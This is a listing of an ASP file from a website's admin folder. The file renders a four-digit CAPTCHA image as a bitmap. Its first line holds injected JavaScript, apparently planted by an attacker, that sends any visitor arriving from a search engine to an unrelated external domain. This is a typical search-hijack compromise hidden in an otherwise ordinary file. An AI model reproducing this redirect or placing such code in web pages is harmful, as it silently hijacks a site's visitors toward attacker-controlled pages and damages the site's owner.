d:\wwwroot\wuchunhua\admin\Code.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002: Option Explicit
003: Response.buffer=true
004: NumCode
005: Function NumCode()
006:    Response.Expires = -1
007:    Response.AddHeader "Pragma","no-cache"
008:    Response.AddHeader "cache-ctrol","no-cache"
009:    On Error Resume Next
010:    Dim zNum,i,j
011:    Dim Ados,Ados1
012:    Randomize timer
013:    zNum = cint(8999*Rnd+1000)
014:    'Session("GetCode") = zNum
015:    Session("CheckCode") = zNum
016:    Dim zimg(4),NStr
017:    NStr=cstr(zNum)
018:    For i=0 To 3
019:       zimg(i)=mid(NStr,i+1,1)
020:    Next
021:    Dim Pos
022:    Set Ados=Server.CreateObject("Adodb.Stream")
023:    Ados.Mode=3
024:    Ados.Type=1
025:    Ados.Open
026:    Set Ados1=Server.CreateObject("Adodb.Stream")
027:    Ados1.Mode=3
028:    Ados1.Type=1
029:    Ados1.Open
030:    Ados.LoadFromFile(Server.mappath("body.Fix"))
031:    Ados1.write Ados.read(1280)
032:    For i=0 To 3
033:       Ados.Position=(9-zimg(i))*320
034:       Ados1.Position=i*320
035:       Ados1.write ados.read(320)
036:    Next  
037:    Ados.LoadFromFile(Server.mappath("head.fix"))
038:    Pos=lenb(Ados.read())
039:    Ados.Position=Pos
040:    For i=0 To 9 Step 1
041:       For j=0 To 3
042:          Ados1.Position=i*32+j*320
043:          Ados.Position=Pos+30*j+i*120
044:          Ados.write ados1.read(30)
045:       Next
046:    Next
047:    Response.ContentType = "image/BMP"
048:    Ados.Position=0
049:    Response.BinaryWrite Ados.read()
050:    Ados.Close:set Ados=nothing
051:    Ados1.Close:set Ados1=nothing
052: End Function
053: %>
054:
055:
056:

---